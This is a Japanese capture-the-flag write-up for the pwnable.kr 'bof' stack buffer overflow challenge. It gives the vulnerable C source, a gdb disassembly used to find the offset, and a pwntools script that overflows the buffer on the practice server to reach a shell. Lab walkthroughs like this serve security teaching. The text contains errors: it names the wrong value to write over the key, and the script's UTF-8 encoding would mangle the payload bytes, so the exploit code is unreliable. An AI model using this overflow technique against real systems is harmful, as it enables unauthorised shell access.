Nana told me that buffer overflow is one of the most common software >vulnerability.
Is that true?Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.cRunning at : nc pwnable.kr 9000
wgetでダウンロードするとbof,bof.cが入っています。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
スタック上部にoverflowme[32]がありその下にkeyがあるから32バイト以上のデータをoverflowmeに書き込んでkeyを0xdeadbeefに書き換えろ、というものですね。
gdbを使ってoverflowmeとkeyの具体的な位置関係を調べます。
(gdb) disas func
Dump of assembler code for function func:
0x0000062c <+0>: push %ebp
0x0000062d <+1>: mov %esp,%ebp
0x0000062f <+3>: sub $0x48,%esp
0x00000632 <+6>: mov %gs:0x14,%eax
0x00000638 <+12>: mov %eax,-0xc(%ebp)
0x0000063b <+15>: xor %eax,%eax
0x0000063d <+17>: movl $0x78c,(%esp)
0x00000644 <+24>: call 0x645 <func+25>
0x00000649 <+29>: lea -0x2c(%ebp),%eax
0x0000064c <+32>: mov %eax,(%esp)
0x0000064f <+35>: call 0x650 <func+36>
0x00000654 <+40>: cmpl $0xcafebabe,0x8(%ebp)
0x0000065b <+47>: jne 0x66b <func+63>
0x0000065d <+49>: movl $0x79b,(%esp)
0x00000664 <+56>: call 0x665 <func+57>
0x00000669 <+61>: jmp 0x677 <func+75>
0x0000066b <+63>: movl $0x7a3,(%esp)
0x00000672 <+70>: call 0x673 <func+71>
0x00000677 <+75>: mov -0xc(%ebp),%eax
0x0000067a <+78>: xor %gs:0x14,%eax
0x00000681 <+85>: je 0x688 <func+92>
0x00000683 <+87>: call 0x684 <func+88>
0x00000688 <+92>: leave
0x00000689 <+93>: ret
End of assembler dump.
jne命令の前にcallが2つありますね、これが順にprintfとgetsだと思われます。
となるとoverflowmeのアドレスはebp-0x2cのはずです。
なぜならgets()の直前の*func+29,*func+32で、esp,つまりスタックの最上位アドレスに-0x2c(%ebp)を格納していることがgets()に引数を渡していることを意味していて、この場合それがoverflowmeだからです。
また、func+40を見るとkeyが0x8(%ebp)にあることは明白です。
よって、overflowmeとkeyのオフセットは 0x2c+0x8 なので "A"(0x2c + 0x8) + "\xbe\xba\xfe\xca" を入力します。
$ cat bof_pwn.py
from pwn import *
payload = "A"*52 + "\xbe\xba\xfe\xca"
r = remote("pwnable.kr", 9000)
sleep(1)
r.sendline(payload.encode('utf-8','replace'))
print(r.recv())